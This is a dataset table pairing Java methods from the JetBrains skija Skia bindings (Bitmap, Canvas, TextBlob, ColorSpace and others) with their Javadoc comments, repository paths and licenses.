code
stringlengths 11
173k
| docstring
stringlengths 2
593k
| func_name
stringlengths 2
189
| language
stringclasses 1
value | repo
stringclasses 844
values | path
stringlengths 11
294
| url
stringlengths 60
339
| license
stringclasses 4
values |
---|---|---|---|---|---|---|---|
default int getHeight() {
return getImageInfo()._height;
} |
Returns pixel row count.
Maybe be less than getPixelRef().getHeight(). Will not exceed getPixelRef().getHeight()
@return pixel height in ImageInfo
| getHeight | java | JetBrains/skija | shared/java/IHasImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/IHasImageInfo.java | Apache-2.0 |
default int getBytesPerPixel() {
return getImageInfo().getBytesPerPixel();
} |
Returns number of bytes per pixel required by ColorType.
Returns zero if colorType is {@link ColorType#UNKNOWN}.
@return bytes in pixel
| getBytesPerPixel | java | JetBrains/skija | shared/java/IHasImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/IHasImageInfo.java | Apache-2.0 |
default int getShiftPerPixel() {
return getImageInfo().getShiftPerPixel();
} |
Returns bit shift converting row bytes to row pixels.
Returns zero for {@link ColorType#UNKNOWN}.
@return one of: 0, 1, 2, 3; left shift to convert pixels to bytes
| getShiftPerPixel | java | JetBrains/skija | shared/java/IHasImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/IHasImageInfo.java | Apache-2.0 |
default boolean isEmpty() {
return getImageInfo().isEmpty();
} |
Returns true if either getWidth() or getHeight() are zero.
Does not check if PixelRef is null; call {@link Bitmap#drawsNothing()} to check
getWidth(), getHeight(), and PixelRef.
@return true if dimensions do not enclose area
| isEmpty | java | JetBrains/skija | shared/java/IHasImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/IHasImageInfo.java | Apache-2.0 |
default boolean isOpaque() {
return getImageInfo()._colorInfo.isOpaque();
} |
<p>Returns true if ColorAlphaType is set to hint that all pixels are opaque; their
alpha value is implicitly or explicitly 1.0. If true, and all pixels are
not opaque, Skia may draw incorrectly.</p>
<p>Does not check if SkColorType allows alpha, or if any pixel value has
transparency.</p>
@return true if ImageInfo ColorAlphaType is {@link ColorAlphaType#OPAQUE}
| isOpaque | java | JetBrains/skija | shared/java/IHasImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/IHasImageInfo.java | Apache-2.0 |
public void submit(boolean syncCpu) {
Stats.onNativeCall();
_nSubmit(_ptr, syncCpu);
} |
<p>Submit outstanding work to the gpu from all previously un-submitted flushes.</p>
<p>If the syncCpu flag is true this function will return once the gpu has finished with all submitted work.</p>
<p>For more information refer to skia GrDirectContext::submit(bool syncCpu) method.</p>
@param syncCpu flag to sync cpu and gpu work submission
| DirectContext::submit | java | JetBrains/skija | shared/java/DirectContext.java | https://github.com/JetBrains/skija/blob/master/shared/java/DirectContext.java | Apache-2.0 |
public void abandon() {
try {
Stats.onNativeCall();
_nAbandon(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Abandons all GPU resources and assumes the underlying backend 3D API context is no longer
usable. Call this if you have lost the associated GPU context, and thus internal texture,
buffer, etc. references/IDs are now invalid. Calling this ensures that the destructors of the
context and any of its created resource objects will not make backend 3D API calls. Content
rendered but not previously flushed may be lost. After this function is called all subsequent
calls on the context will fail or be no-ops.</p>
<p>The typical use case for this function is that the underlying 3D context was lost and further
API calls may crash.</p>
<p>For Vulkan, even if the device becomes lost, the VkQueue, VkDevice, or VkInstance used to
create the context must be kept alive even after abandoning the context. Those objects must
live for the lifetime of the context object itself. The reason for this is so that
we can continue to delete any outstanding GrBackendTextures/RenderTargets which must be
cleaned up even in a device lost state.</p>
| DirectContext::abandon | java | JetBrains/skija | shared/java/DirectContext.java | https://github.com/JetBrains/skija/blob/master/shared/java/DirectContext.java | Apache-2.0 |
public PaintFilterCanvas(@NotNull Canvas canvas, boolean unrollDrawable) {
super(_nMake(Native.getPtr(canvas), unrollDrawable), true, canvas);
Stats.onNativeCall();
_nAttachToJava(_ptr);
Stats.onNativeCall();
Reference.reachabilityFence(canvas);
} |
@param unrollDrawable if needed to filter nested drawable content using this canvas (for drawables there is no paint to filter)
| PaintFilterCanvas::PaintFilterCanvas | java | JetBrains/skija | shared/java/PaintFilterCanvas.java | https://github.com/JetBrains/skija/blob/master/shared/java/PaintFilterCanvas.java | Apache-2.0 |
public boolean isGammaCloseToSRGB() {
try {
Stats.onNativeCall();
return _nIsGammaCloseToSRGB(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
@return true if the color space gamma is near enough to be approximated as sRGB
| ColorSpace::isGammaCloseToSRGB | java | JetBrains/skija | shared/java/ColorSpace.java | https://github.com/JetBrains/skija/blob/master/shared/java/ColorSpace.java | Apache-2.0 |
public boolean isGammaLinear() {
try {
Stats.onNativeCall();
return _nIsGammaLinear(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
@return true if the color space gamma is linear
| ColorSpace::isGammaLinear | java | JetBrains/skija | shared/java/ColorSpace.java | https://github.com/JetBrains/skija/blob/master/shared/java/ColorSpace.java | Apache-2.0 |
public boolean isSRGB() {
try {
Stats.onNativeCall();
return _nIsSRGB(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Returns true if the color space is sRGB. Returns false otherwise.</p>
<p>This allows a little bit of tolerance, given that we might see small numerical error
in some cases: converting ICC fixed point to float, converting white point to D50,
rounding decisions on transfer function and matrix.</p>
<p>This does not consider a 2.2f exponential transfer function to be sRGB. While these
functions are similar (and it is sometimes useful to consider them together), this
function checks for logical equality.</p>
| ColorSpace::isSRGB | java | JetBrains/skija | shared/java/ColorSpace.java | https://github.com/JetBrains/skija/blob/master/shared/java/ColorSpace.java | Apache-2.0 |
public Matrix33 toMatrix(int w, int h) {
switch (this) {
case TOP_LEFT:
return Matrix33.IDENTITY;
case TOP_RIGHT:
return new Matrix33(-1, 0, w, 0, 1, 0, 0, 0, 1);
case BOTTOM_RIGHT:
return new Matrix33(-1, 0, w, 0, -1, h, 0, 0, 1);
case BOTTOM_LEFT:
return new Matrix33( 1, 0, 0, 0, -1, h, 0, 0, 1);
case LEFT_TOP:
return new Matrix33( 0, 1, 0, 1, 0, 0, 0, 0, 1);
case RIGHT_TOP:
return new Matrix33( 0, -1, w, 1, 0, 0, 0, 0, 1);
case RIGHT_BOTTOM:
return new Matrix33( 0, -1, w, -1, 0, h, 0, 0, 1);
case LEFT_BOTTOM:
return new Matrix33( 0, 1, 0, -1, 0, h, 0, 0, 1);
default:
throw new IllegalArgumentException("Unsupported origin " + this);
}
} |
Given an encoded origin and the width and height of the source data, returns a matrix
that transforms the source rectangle with upper left corner at [0, 0] and origin to a correctly
oriented destination rectangle of [0, 0, w, h].
| EncodedOrigin::toMatrix | java | JetBrains/skija | shared/java/EncodedOrigin.java | https://github.com/JetBrains/skija/blob/master/shared/java/EncodedOrigin.java | Apache-2.0 |
public boolean swapsWidthHeight() {
switch (this) {
case LEFT_TOP:
case RIGHT_TOP:
case RIGHT_BOTTOM:
case LEFT_BOTTOM:
return true;
default:
return false;
}
} |
Return true if the encoded origin includes a 90 degree rotation, in which case the width
and height of the source data are swapped relative to a correctly oriented destination.
| EncodedOrigin::swapsWidthHeight | java | JetBrains/skija | shared/java/EncodedOrigin.java | https://github.com/JetBrains/skija/blob/master/shared/java/EncodedOrigin.java | Apache-2.0 |
public Canvas(@NotNull Bitmap bitmap) {
this(bitmap, new SurfaceProps());
} |
<p>Constructs a canvas that draws into bitmap.
Sets default pixel geometry in constructed Surface.</p>
<p>Bitmap is copied so that subsequently editing bitmap will not affect
constructed Canvas.</p>
<p>May be deprecated in the future.</p>
@param bitmap width, height, ColorType, ColorAlphaType, and pixel
storage of raster surface
@see <a href="https://fiddle.skia.org/c/@Canvas_copy_const_SkBitmap">https://fiddle.skia.org/c/@Canvas_copy_const_SkBitmap</a>
| Canvas::Canvas | java | JetBrains/skija | shared/java/Canvas.java | https://github.com/JetBrains/skija/blob/master/shared/java/Canvas.java | Apache-2.0 |
public Canvas(@NotNull Bitmap bitmap, @NotNull SurfaceProps surfaceProps) {
this(_nMakeFromBitmap(bitmap._ptr, surfaceProps._getFlags(), surfaceProps._pixelGeometry.ordinal()), true, bitmap);
Stats.onNativeCall();
Reference.reachabilityFence(bitmap);
} |
<p>Constructs a canvas that draws into bitmap.
Use props to match the device characteristics, like LCD striping.</p>
<p>Bitmap is copied so that subsequently editing bitmap will not affect
constructed Canvas.</p>
@param bitmap width, height, ColorType, ColorAlphaType, and pixel
storage of raster surface
@param surfaceProps order and orientation of RGB striping; and whether to use
device independent fonts
@see <a href="https://fiddle.skia.org/c/@Canvas_const_SkBitmap_const_SkSurfaceProps">https://fiddle.skia.org/c/@Canvas_const_SkBitmap_const_SkSurfaceProps</a>
| Canvas::Canvas | java | JetBrains/skija | shared/java/Canvas.java | https://github.com/JetBrains/skija/blob/master/shared/java/Canvas.java | Apache-2.0 |
public boolean readPixels(@NotNull Bitmap bitmap, int srcX, int srcY) {
try {
assert bitmap != null : "Can’t readPixels with bitmap == null";
Stats.onNativeCall();
return _nReadPixels(_ptr, Native.getPtr(bitmap), srcX, srcY);
} finally {
Reference.reachabilityFence(this);
Reference.reachabilityFence(bitmap);
}
} |
<p>Copies Rect of pixels from Canvas into bitmap. Matrix and clip are
ignored.</p>
<p>Source Rect corners are (srcX, srcY) and (imageInfo().width(), imageInfo().height()).
Destination Rect corners are (0, 0) and (bitmap.width(), bitmap.height()).
Copies each readable pixel intersecting both rectangles, without scaling,
converting to bitmap.colorType() and bitmap.alphaType() if required.</p>
<p>Pixels are readable when BaseDevice is raster, or backed by a GPU.
Pixels are not readable when Canvas is returned by Document::beginPage,
returned by PictureRecorder::beginRecording, or Canvas is the base of a utility
class like DebugCanvas.</p>
<p>Caller must allocate pixel storage in bitmap if needed.</p>
<p>SkBitmap values are converted only if ColorType and AlphaType
do not match. Only pixels within both source and destination rectangles
are copied. Bitmap pixels outside Rect intersection are unchanged.</p>
<p>Pass negative values for srcX or srcY to offset pixels across or down bitmap.</p>
<p>Does not copy, and returns false if:
<ul>
<li>Source and destination rectangles do not intersect.</li>
<li>SkCanvas pixels could not be converted to bitmap.colorType() or bitmap.alphaType().</li>
<li>SkCanvas pixels are not readable; for instance, Canvas is document-based.</li>
<li>bitmap pixels could not be allocated.</li>
<li>bitmap.rowBytes() is too small to contain one row of pixels.</li>
</ul>
@param bitmap storage for pixels copied from Canvas
@param srcX offset into readable pixels on x-axis; may be negative
@param srcY offset into readable pixels on y-axis; may be negative
@return true if pixels were copied
@see <a href="https://fiddle.skia.org/c/@Canvas_readPixels_3">https://fiddle.skia.org/c/@Canvas_readPixels_3</a>
| Canvas::readPixels | java | JetBrains/skija | shared/java/Canvas.java | https://github.com/JetBrains/skija/blob/master/shared/java/Canvas.java | Apache-2.0 |
public boolean writePixels(@NotNull Bitmap bitmap, int x, int y) {
try {
assert bitmap != null : "Can’t writePixels with bitmap == null";
Stats.onNativeCall();
return _nWritePixels(_ptr, Native.getPtr(bitmap), x, y);
} finally {
Reference.reachabilityFence(this);
Reference.reachabilityFence(bitmap);
}
} |
<p>Copies Rect from pixels to Canvas. Matrix and clip are ignored.
Source Rect corners are (0, 0) and (bitmap.width(), bitmap.height()).</p>
<p>Destination Rect corners are (x, y) and
(imageInfo().width(), imageInfo().height()).</p>
<p>Copies each readable pixel intersecting both rectangles, without scaling,
converting to getImageInfo().getColorType() and getImageInfo().getAlphaType() if required.</p>
<p>Pixels are writable when BaseDevice is raster, or backed by a GPU.
Pixels are not writable when Canvas is returned by Document::beginPage,
returned by PictureRecorder::beginRecording, or Canvas is the base of a utility
class like DebugCanvas.</p>
<p>Pixel values are converted only if ColorType and AlphaType
do not match. Only pixels within both source and destination rectangles
are copied. Canvas pixels outside Rect intersection are unchanged.</p>
<p>Pass negative values for x or y to offset pixels to the left or
above Canvas pixels.</p>
<p>Does not copy, and returns false if:
<ul>
<li>Source and destination rectangles do not intersect.</li>
<li>bitmap does not have allocated pixels.</li>
<li>bitmap pixels could not be converted to Canvas getImageInfo().getColorType() or
getImageInfo().getAlphaType().</li>
<li>Canvas pixels are not writable; for instance, Canvas is document based.</li>
<li>bitmap pixels are inaccessible; for instance, bitmap wraps a texture.</li>
</ul>
@param bitmap contains pixels copied to Canvas
@param x offset into Canvas writable pixels on x-axis; may be negative
@param y offset into Canvas writable pixels on y-axis; may be negative
@return true if pixels were written to Canvas
@see <a href="https://fiddle.skia.org/c/@Canvas_writePixels_2">https://fiddle.skia.org/c/@Canvas_writePixels_2</a>
@see <a href="https://fiddle.skia.org/c/@State_Stack_a">https://fiddle.skia.org/c/@State_Stack_a</a>
@see <a href="https://fiddle.skia.org/c/@State_Stack_b">https://fiddle.skia.org/c/@State_Stack_b</a>
| Canvas::writePixels | java | JetBrains/skija | shared/java/Canvas.java | https://github.com/JetBrains/skija/blob/master/shared/java/Canvas.java | Apache-2.0 |
public int saveLayer(@Nullable Rect bounds, @Nullable Paint paint) {
try {
Stats.onNativeCall();
if (bounds == null)
return _nSaveLayer(_ptr, Native.getPtr(paint));
else
return _nSaveLayerRect(_ptr, bounds._left, bounds._top, bounds._right, bounds._bottom, Native.getPtr(paint));
} finally {
Reference.reachabilityFence(this);
Reference.reachabilityFence(paint);
}
} |
<p>Saves Matrix and clip, and allocates a Bitmap for subsequent drawing.
Calling restore() discards changes to Matrix and clip, and draws the Bitmap.</p>
<p>Matrix may be changed by translate(), scale(), rotate(), skew(), concat(),
setMatrix(), and resetMatrix(). Clip may be changed by clipRect(), clipRRect(),
clipPath(), clipRegion().</p>
<p>Rect bounds suggests but does not define the Bitmap size. To clip drawing to
a specific rectangle, use clipRect().</p>
<p>Optional Paint paint applies alpha, ColorFilter, ImageFilter, and
BlendMode when restore() is called.</p>
<p>Call restoreToCount() with returned value to restore this and subsequent saves.</p>
@param bounds hint to limit the size of the layer
@param paint graphics state for layer; may be null
@return depth of saved stack
@see <a href="https://fiddle.skia.org/c/@Canvas_saveLayer">https://fiddle.skia.org/c/@Canvas_saveLayer</a>
@see <a href="https://fiddle.skia.org/c/@Canvas_saveLayer_4">https://fiddle.skia.org/c/@Canvas_saveLayer_4</a>
| Canvas::saveLayer | java | JetBrains/skija | shared/java/Canvas.java | https://github.com/JetBrains/skija/blob/master/shared/java/Canvas.java | Apache-2.0 |
public Rect getBounds() {
try {
Stats.onNativeCall();
return _nBounds(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
Returns conservative bounding box. Uses Paint associated with each glyph to
determine glyph bounds, and unions all bounds. Returned bounds may be
larger than the bounds of all glyphs in runs.
@return conservative bounding box
| TextBlob::getBounds | java | JetBrains/skija | shared/java/TextBlob.java | https://github.com/JetBrains/skija/blob/master/shared/java/TextBlob.java | Apache-2.0 |
public int getUniqueId() {
try {
Stats.onNativeCall();
return _nGetUniqueId(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
Returns a non-zero value unique among all text blobs.
@return identifier for TextBlob
| TextBlob::getUniqueId | java | JetBrains/skija | shared/java/TextBlob.java | https://github.com/JetBrains/skija/blob/master/shared/java/TextBlob.java | Apache-2.0 |
public static TextBlob makeFromPosH(short[] glyphs, float[] xpos, float ypos, Font font) {
try {
assert glyphs.length == xpos.length : "glyphs.length " + glyphs.length + " != xpos.length " + xpos.length;
Stats.onNativeCall();
long ptr = _nMakeFromPosH(glyphs, xpos, ypos, Native.getPtr(font));
return ptr == 0 ? null : new TextBlob(ptr);
} finally {
Reference.reachabilityFence(font);
}
} |
Returns a TextBlob built from a single run of text with x-positions and a single y value.
Returns null if glyphs is empty.
@param glyphs glyphs drawn
@param xpos array of x-positions, must contain values for all of the glyphs.
@param ypos shared y-position for each glyph, to be paired with each xpos.
@param font Font used for this run
@return new TextBlob or null
| TextBlob::makeFromPosH | java | JetBrains/skija | shared/java/TextBlob.java | https://github.com/JetBrains/skija/blob/master/shared/java/TextBlob.java | Apache-2.0 |
public static TextBlob makeFromPos(short[] glyphs, Point[] pos, Font font) {
try {
assert glyphs.length == pos.length : "glyphs.length " + glyphs.length + " != pos.length " + pos.length;
float[] floatPos = new float[pos.length * 2];
for (int i = 0; i < pos.length; ++i) {
floatPos[i * 2] = pos[i]._x;
floatPos[i * 2 + 1] = pos[i]._y;
}
Stats.onNativeCall();
long ptr = _nMakeFromPos(glyphs, floatPos, Native.getPtr(font));
return ptr == 0 ? null : new TextBlob(ptr);
} finally {
Reference.reachabilityFence(font);
}
} |
Returns a TextBlob built from a single run of text with positions.
Returns null if glyphs is empty.
@param glyphs glyphs drawn
@param pos array of positions, must contain values for all of the glyphs.
@param font Font used for this run
@return new TextBlob or null
| TextBlob::makeFromPos | java | JetBrains/skija | shared/java/TextBlob.java | https://github.com/JetBrains/skija/blob/master/shared/java/TextBlob.java | Apache-2.0 |
public Bitmap() {
this(_nMake());
Stats.onNativeCall();
} |
Creates an empty Bitmap without pixels, with {@link ColorType#UNKNOWN},
{@link ColorAlphaType#UNKNOWN}, and with a width and height of zero.
PixelRef origin is set to (0, 0). Bitmap is not volatile.
Use {@link #setImageInfo(ImageInfo, long)} to associate ColorType, ColorAlphaType, width, and height after Bitmap has been created.
@see <a href="https://fiddle.skia.org/c/@Bitmap_empty_constructor">https://fiddle.skia.org/c/@Bitmap_empty_constructor</a>
| Bitmap::Bitmap | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public void swap(@NotNull Bitmap other) {
Stats.onNativeCall();
_nSwap(_ptr, Native.getPtr(other));
_imageInfo = null;
Reference.reachabilityFence(this);
Reference.reachabilityFence(other);
} |
Swaps the fields of the two bitmaps.
@param other Bitmap exchanged with original
@see <a href="https://fiddle.skia.org/c/@Bitmap_swap">https://fiddle.skia.org/c/@Bitmap_swap</a>
| Bitmap::swap | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public int getRowBytesAsPixels() {
try {
Stats.onNativeCall();
return _nGetRowBytesAsPixels(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
Returns number of pixels that fit on row. Should be greater than or equal to
getWidth().
@return maximum pixels per row
| Bitmap::getRowBytesAsPixels | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean isNull() {
try {
Stats.onNativeCall();
return _nIsNull(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
Returns true if PixelRef is null.
Does not check if width or height are zero; call {@link #drawsNothing()}
to check width, height, and PixelRef.
@return true if no PixelRef is associated
| Bitmap::isNull | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean drawsNothing() {
return isEmpty() || isNull();
} |
Returns true if width or height are zero, or if PixelRef is null.
If true, Bitmap has no effect when drawn or drawn into.
@return true if drawing has no effect
| Bitmap::drawsNothing | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public long getRowBytes() {
try {
Stats.onNativeCall();
return _nGetRowBytes(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
Returns row bytes, the interval from one pixel row to the next. Row bytes
is at least as large as: getWidth() * getBytesPerPixel().
Returns zero if getColorType() is {@link ColorType#UNKNOWN}, or if row bytes
supplied to {@link #setImageInfo(ImageInfo)} is not large enough to hold a row of pixels.
@return byte length of pixel row
| Bitmap::getRowBytes | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean setAlphaType(ColorAlphaType alphaType) {
try {
Stats.onNativeCall();
_imageInfo = null;
return _nSetAlphaType(_ptr, alphaType.ordinal());
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Sets alpha type, if argument is compatible with current color type.
Returns true unless argument is {@link ColorAlphaType#UNKNOWN} and current
value is {@link ColorAlphaType#UNKNOWN}.</p>
<p>Returns true if current color type is {@link ColorType#UNKNOWN}.
Argument is ignored, and alpha type remains {@link ColorAlphaType#UNKNOWN}.</p>
<p>Returns true if current color type is {@link ColorType#RGB_565} or
{@link ColorType#GRAY_8}. Argument is ignored, and alpha type remains
{@link ColorAlphaType#OPAQUE}.</p>
<p>If current color type is {@link ColorType#ARGB_4444}, {@link ColorType#RGBA_8888},
{@link ColorType#BGRA_8888}, or {@link ColorType#RGBA_F16}: returns true unless
argument is {@link ColorAlphaType#UNKNOWN} and current alpha type is not
{@link ColorAlphaType#UNKNOWN}. If current alpha type is
{@link ColorAlphaType#UNKNOWN}, argument is ignored.</p>
<p>If current color type is {@link ColorType#ALPHA_8}, returns true unless
argument is {@link ColorAlphaType#UNKNOWN} and current alpha type is not
{@link ColorAlphaType#UNKNOWN}. If current alpha type is
{@link ColorAlphaType#UNKNOWN}, argument is ignored. If argument is
{@link ColorAlphaType#UNPREMUL}, it is treated as {@link ColorAlphaType#PREMUL}.</p>
<p>This changes alpha type in PixelRef; all bitmaps sharing PixelRef
are affected.</p>
@return true if alpha type is set
@see <a href="https://fiddle.skia.org/c/@Bitmap_setAlphaType">https://fiddle.skia.org/c/@Bitmap_setAlphaType</a>
| Bitmap::setAlphaType | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public long computeByteSize() {
try {
Stats.onNativeCall();
return _nComputeByteSize(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
Returns minimum memory required for pixel storage.
Does not include unused memory on last row when getRowBytesAsPixels() exceeds getWidth().
Returns zero if height() or width() is 0.
Returns getHeight() times getRowBytes() if getColorType() is {@link ColorType#UNKNOWN}.
@return size in bytes of image buffer
| Bitmap::computeByteSize | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean isImmutable() {
try {
Stats.onNativeCall();
return _nIsImmutable(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Returns true if pixels can not change.</p>
<p>Most immutable Bitmap checks trigger an assert only on debug builds.</p>
@return true if pixels are immutable
@see <a href="https://fiddle.skia.org/c/@Bitmap_isImmutable">https://fiddle.skia.org/c/@Bitmap_isImmutable</a>
| Bitmap::isImmutable | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean computeIsOpaque() {
try {
Stats.onNativeCall();
return _nComputeIsOpaque(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Returns true if all pixels are opaque. ColorType determines how pixels
are encoded, and whether pixel describes alpha. Returns true for ColorType
without alpha in each pixel; for other ColorType, returns true if all
pixels have alpha values equivalent to 1.0 or greater.</p>
<p>For {@link ColorType#RGB_565} or {@link ColorType#GRAY_8}: always
returns true. For {@link ColorType#ALPHA_8}, {@link ColorType#BGRA_8888},
{@link ColorType#RGBA_8888}: returns true if all pixel alpha values are 255.
For {@link ColorType#ARGB_4444}: returns true if all pixel alpha values are 15.
For {@link ColorType#RGBA_F16}: returns true if all pixel alpha values are 1.0 or
greater.</p>
<p>Returns false for {@link ColorType#UNKNOWN}.
@return true if all pixels have opaque values or ColorType is opaque
| Bitmap::computeIsOpaque | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean setImageInfo(@NotNull ImageInfo imageInfo) {
_imageInfo = null;
return setImageInfo(imageInfo, 0);
} |
<p>Sets width, height, ColorAlphaType, ColorType, ColorSpace.
Frees pixels, and returns true if successful.</p>
<p>imageInfo.getAlphaType() may be altered to a value permitted by imageInfo.getColorSpace().
If imageInfo.getColorType() is {@link ColorType#UNKNOWN}, imageInfo.getAlphaType() is
set to {@link ColorAlphaType#UNKNOWN}.
If imageInfo.colorType() is {@link ColorType#ALPHA_8} and imageInfo.getAlphaType() is
{@link ColorAlphaType#UNPREMUL}, imageInfo.getAlphaType() is replaced by {@link ColorAlphaType#PREMUL}.
If imageInfo.colorType() is {@link ColorType#RGB_565} or {@link ColorType#GRAY_8},
imageInfo.getAlphaType() is set to {@link ColorAlphaType#OPAQUE}.
If imageInfo.colorType() is {@link ColorType#ARGB_4444}, {@link ColorType#RGBA_8888},
{@link ColorType#BGRA_8888}, or {@link ColorType#RGBA_F16}: imageInfo.getAlphaType() remains
unchanged.</p>
<p>Calls reset() and returns false if:
- rowBytes exceeds 31 bits
- imageInfo.getWidth() is negative
- imageInfo.getHeight() is negative
- rowBytes is positive and less than imageInfo.getWidth() times imageInfo.getBytesPerPixel()</p>
@param imageInfo contains width, height, AlphaType, ColorType, ColorSpace
@return true if ImageInfo set successfully
@see <a href="https://fiddle.skia.org/c/@Bitmap_setInfo">https://fiddle.skia.org/c/@Bitmap_setInfo</a>
| Bitmap::setImageInfo | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean setImageInfo(@NotNull ImageInfo imageInfo, long rowBytes) {
try {
_imageInfo = null;
Stats.onNativeCall();
return _nSetImageInfo(_ptr,
imageInfo._width,
imageInfo._height,
imageInfo._colorInfo._colorType.ordinal(),
imageInfo._colorInfo._alphaType.ordinal(),
Native.getPtr(imageInfo._colorInfo._colorSpace),
rowBytes);
} finally {
Reference.reachabilityFence(this);
Reference.reachabilityFence(imageInfo._colorInfo._colorSpace);
}
} |
<p>Sets width, height, ColorAlphaType, ColorType, ColorSpace, and optional
rowBytes. Frees pixels, and returns true if successful.</p>
<p>imageInfo.getAlphaType() may be altered to a value permitted by imageInfo.getColorSpace().
If imageInfo.getColorType() is {@link ColorType#UNKNOWN}, imageInfo.getAlphaType() is
set to {@link ColorAlphaType#UNKNOWN}.
If imageInfo.colorType() is {@link ColorType#ALPHA_8} and imageInfo.getAlphaType() is
{@link ColorAlphaType#UNPREMUL}, imageInfo.getAlphaType() is replaced by {@link ColorAlphaType#PREMUL}.
If imageInfo.colorType() is {@link ColorType#RGB_565} or {@link ColorType#GRAY_8},
imageInfo.getAlphaType() is set to {@link ColorAlphaType#OPAQUE}.
If imageInfo.colorType() is {@link ColorType#ARGB_4444}, {@link ColorType#RGBA_8888},
{@link ColorType#BGRA_8888}, or {@link ColorType#RGBA_F16}: imageInfo.getAlphaType() remains
unchanged.</p>
<p>rowBytes must equal or exceed imageInfo.getMinRowBytes(). If imageInfo.getColorSpace() is
{@link ColorType#UNKNOWN}, rowBytes is ignored and treated as zero; for all other
ColorSpace values, rowBytes of zero is treated as imageInfo.getMinRowBytes().</p>
<p>Calls reset() and returns false if:
- rowBytes exceeds 31 bits
- imageInfo.getWidth() is negative
- imageInfo.getHeight() is negative
- rowBytes is positive and less than imageInfo.getWidth() times imageInfo.getBytesPerPixel()</p>
@param imageInfo contains width, height, AlphaType, ColorType, ColorSpace
@param rowBytes imageInfo.getMinRowBytes() or larger; or zero
@return true if ImageInfo set successfully
@see <a href="https://fiddle.skia.org/c/@Bitmap_setInfo">https://fiddle.skia.org/c/@Bitmap_setInfo</a>
| Bitmap::setImageInfo | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean allocPixelsFlags(@NotNull ImageInfo imageInfo, boolean zeroPixels) {
try {
_imageInfo = null;
Stats.onNativeCall();
return _nAllocPixelsFlags(_ptr,
imageInfo._width,
imageInfo._height,
imageInfo._colorInfo._colorType.ordinal(),
imageInfo._colorInfo._alphaType.ordinal(),
Native.getPtr(imageInfo._colorInfo._colorSpace),
zeroPixels ? 1 : 0);
} finally {
Reference.reachabilityFence(this);
Reference.reachabilityFence(imageInfo._colorInfo._colorSpace);
}
} |
<p>Sets ImageInfo to info following the rules in setImageInfo() and allocates pixel
memory. Memory is zeroed.</p>
<p>Returns false and calls reset() if ImageInfo could not be set, or memory could
not be allocated, or memory could not optionally be zeroed.</p>
<p>On most platforms, allocating pixel memory may succeed even though there is
not sufficient memory to hold pixels; allocation does not take place
until the pixels are written to. The actual behavior depends on the platform
implementation of calloc().</p>
@param imageInfo contains width, height, ColorAlphaType, ColorType, ColorSpace
@param zeroPixels whether pixels should be zeroed
@return true if pixels allocation is successful
| Bitmap::allocPixelsFlags | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean allocPixels(@NotNull ImageInfo info, long rowBytes) {
try {
_imageInfo = null;
Stats.onNativeCall();
return _nAllocPixelsRowBytes(_ptr,
info._width,
info._height,
info._colorInfo._colorType.ordinal(),
info._colorInfo._alphaType.ordinal(),
Native.getPtr(info._colorInfo._colorSpace),
rowBytes);
} finally {
Reference.reachabilityFence(this);
Reference.reachabilityFence(info._colorInfo._colorSpace);
}
} |
<p>Sets ImageInfo to info following the rules in setImageInfo() and allocates pixel
memory. rowBytes must equal or exceed info.width() times info.bytesPerPixel(),
or equal zero.</p>
<p>Returns false and calls reset() if ImageInfo could not be set, or memory could
not be allocated.</p>
<p>On most platforms, allocating pixel memory may succeed even though there is
not sufficient memory to hold pixels; allocation does not take place
until the pixels are written to. The actual behavior depends on the platform
implementation of malloc().</p>
@param info contains width, height, ColorAlphaType, ColorType, ColorSpace
@param rowBytes size of pixel row or larger; may be zero
@return true if pixel storage is allocated
| Bitmap::allocPixels | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean allocPixels(@NotNull ImageInfo imageInfo) {
return allocPixels(imageInfo, imageInfo.getMinRowBytes());
} |
